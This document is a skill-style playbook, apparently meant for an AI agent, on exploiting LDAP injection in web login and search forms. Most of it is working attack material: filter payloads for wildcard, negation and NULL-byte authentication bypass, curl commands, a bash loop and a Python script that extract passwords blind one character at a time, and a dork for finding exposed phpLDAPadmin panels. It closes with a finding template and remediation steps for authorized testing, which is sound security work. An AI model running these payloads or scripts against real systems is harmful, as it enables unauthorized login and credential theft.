name: exploiting-ldap-injection description: Exploiting LDAP injection where web applications build LDAP search filters from unsanitized user input, letting an attacker manipulate filter logic to bypass authentication, enumerate directory objects, and blind-extract attribute values such as passwords. Activates when login forms, search boxes, or directory lookups feed user input into LDAP filters (uid, cn, mail, etc.). domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- ldap-injection
- authentication-bypass
- owasp
- web-security version: '1.0' author: xalgorix license: Apache-2.0
Exploiting LDAP Injection
When to Use
- During authorized tests of login forms backed by an LDAP/Active Directory directory
- When a search/lookup feature queries a directory by
uid,cn,mail,sn, or similar attributes - When the app builds filters like
(&(user=INPUT)(password=INPUT))from raw input - When you spot LDAP-style errors,
phpLDAPadmin, or directory-driven address books / user pickers - When testing intranet portals, SSO bridges, or HR/employee directories
Critical: Variants Most Often Missed
LDAP filters are prefix/Polish notation: (&(a=1)(b=2)) = AND, (|(a=1)(b=2)) = OR, (!(a=1)) = NOT. The wildcard * matches anything and is the single most powerful primitive. Filters MUST stay syntactically valid — prefer sending ONE clean filter. Test the full matrix for every input:
# 1. Wildcard everything (works in most LDAPi contexts)
user=* password=* --> (&(user=*)(password=*)) # match any
# 2. Authentication bypass — comment/cut the password check
user=*)(& password=*)(& --> (&(user=*)(&)(password=*)(&))
user=*)(|(& pass=pwd) --> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=* password=x) --> (&(user=*)(|(password=*)(password=x))
user=*))%00 pass=any --> (&(user=*))%00 # NULL byte truncates rest
# 3. Target a known account, neutralize the password
admin)(&) password=pwd --> (&(user=admin)(&))(password=pwd)
admin' or '1'='2 (string-context) --> account selected regardless of password
username=admin)(!(&(| pass=any)) --> (&(uid=admin)(!(&(|)(webpassword=any)))) # (|)=FALSE → bypass
# 4. Force absolute TRUE / FALSE
(&) = absolute TRUE (|) = absolute FALSE
# 5. Inject a second filter (behavior depends on server)
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
--> (&(objectClass=*)(ObjectClass=*))(&(objectClass=void)... # first filter executes
Server quirks that change exploitation:
- OpenLDAP: if two filters arrive, only the FIRST executes.
- ADAM / Microsoft LDS: two filters throw an error.
- SunOne Directory Server 5.0: executes BOTH filters.
How to CONFIRM a hit (avoid false negatives)
- Auth bypass: a
*/*)(&payload logs you in or returns a user record without valid credentials. - Boolean oracle (blind): compare a TRUE vs FALSE payload response.
- TRUE:
*)(objectClass=*))(&objectClass=void→ data returned / "logged in". - FALSE:
void)(objectClass=void))(&objectClass=void→ no data / login fails. - A reliable difference in body, length, or status between the two confirms blind LDAPi.
- TRUE:
- Error-based: malformed filters like
admin)(&)may raise a directory error, confirming the input reaches the filter. - Treat ANY consistent TRUE/FALSE divergence as exploitable even if no data is directly echoed.
Workflow
Step 1: Identify the Injection & Filter Shape
# Inject special chars and watch for errors / behavior change
# ( ) * \ | & ! = NUL
curl -s "https://target/login.php" --data "user=*&password=*"
curl -s "https://target/login.php" --data "user=admin)(&)&password=x" # may error → reaches filter
Step 2: Authentication Bypass
# Classic wildcard bypass
user=* password=* # (&(user=*)(password=*))
# Neutralize the password clause
user=admin)(!(&(| password=any)) # makes the password subtree FALSE-negated → TRUE
# NULL-byte truncation
user=*))%00 password=any # rest of filter discarded
Step 3: Blind Extraction of Attribute Values (passwords, tokens)
# Per-character brute force over a target attribute using the * anchor.
# (&(sn=administrator)(password=A*)) ... iterate A..Z,0..9,symbols
for c in {A..Z} {a..z} {0..9}; do
resp=$(curl -s "https://target/login.php" \
--data "user=*)(sn=administrator)(password=${KNOWN}${c}*&password=x")
echo "$resp" | grep -q "OK_MARKER" && { echo "char=$c"; break; }
done
#!/usr/bin/python3
# Blind LDAP attribute extraction (adapted from HackTricks)
import requests, string
url = "http://10.10.10.10/login.php"
proxy = {"http": "localhost:8080"}
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c","cn","mail","sn","uid","userPassword","password","objectClass"]
for attr in attributes:
value, finish = "", False
while not finish:
for ch in alphabet:
query = f"*)({attr}={value}{ch}*" # injected filter prefix
r = requests.post(url, data={'login': query, 'password': 'bla'}, proxies=proxy)
if "Cannot login" in r.text: # TRUE oracle marker
value += ch
break
if ch == alphabet[-1]:
finish = True
print(f"{attr}: {value}")
Brute-force all default LDAP attributes (use the PayloadsAllTheThings LDAP_attributes.txt list) to discover where sensitive data lives, then dump it character by character.
Key Concepts
| Concept | Description |
|---|---|
| Filter syntax | Prefix notation: (&...)=AND, `( |
Wildcard * |
Matches any value; core primitive for bypass and extraction |
| Absolute TRUE/FALSE | (&) is always TRUE, `( |
| Boolean blind oracle | Compare TRUE vs FALSE payload responses to infer data |
NULL byte %00 |
Truncates the rest of the filter so trailing clauses are ignored |
| Server divergence | OpenLDAP runs only the first filter; SunOne runs both; ADAM/LDS errors |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Intruder | Automate boolean/char brute force with grep-match oracles |
| PayloadsAllTheThings (LDAP_FUZZ.txt, LDAP_attributes.txt) | Filter payloads and attribute wordlists |
| Custom Python scripts | Blind per-character attribute extraction |
| ldapsearch | Validate recovered DN/attributes against the directory if creds obtained |
| Google dorks | intitle:"phpLDAPadmin" inurl:cmd.php to find exposed admin panels |
Common Scenarios
Scenario 1: Wildcard Login Bypass
A login does (&(uid=INPUT)(userPassword=INPUT)). Submitting uid=* and password=* yields (&(uid=*)(userPassword=*)), matching the first directory user and granting access.
Scenario 2: Blind Password Disclosure
A search returns results only when its filter matches. Injecting *)(sn=administrator)(password=A* and iterating the trailing char reveals the admin password one character at a time via the result/no-result oracle.
Scenario 3: Negation Bypass
Login filter (&(uid=INPUT)(webpassword=INPUT)). Payload uid=admin)(!(&(| with pass=any)) builds (&(uid=admin)(!(&(|)(webpassword=any)))) — since (|) is FALSE, the negated subtree is TRUE and admin authenticates without the password.
Output Format
## LDAP Injection Finding
**Vulnerability**: LDAP Injection (filter manipulation)
**Severity**: High to Critical (CVSS 8.1–9.8 when it bypasses auth or dumps creds)
**Location**: POST /login.php (user, password parameters)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Submit user=* and password=* → application authenticates as the first directory user.
2. Confirm blind oracle: TRUE payload `*)(objectClass=*))(&objectClass=void` returns data;
FALSE payload `void)(objectClass=void))(&objectClass=void` returns none.
3. Extract userPassword via per-character injection `*)(uid=admin)(userPassword=A*`.
### Evidence
| Payload | Result | Meaning |
|---------|--------|---------|
| user=*&password=* | Logged in | Wildcard auth bypass |
| ...(password=A* | No result | Char != A |
| ...(password=M* | Result | First char = M |
### Impact
Authentication bypass, enumeration of directory objects/attributes, and blind disclosure of credentials and other sensitive attributes.
### Recommendation
1. Escape LDAP special characters per RFC 4515 ( \28 \29 \2a \5c \00 ) on all user input.
2. Use parameterized directory APIs / framework escaping helpers, never string concatenation.
3. Apply least-privilege bind accounts and restrict which attributes searches can return.
4. Add server-side allow-lists for searchable attributes and reject `*` where not expected.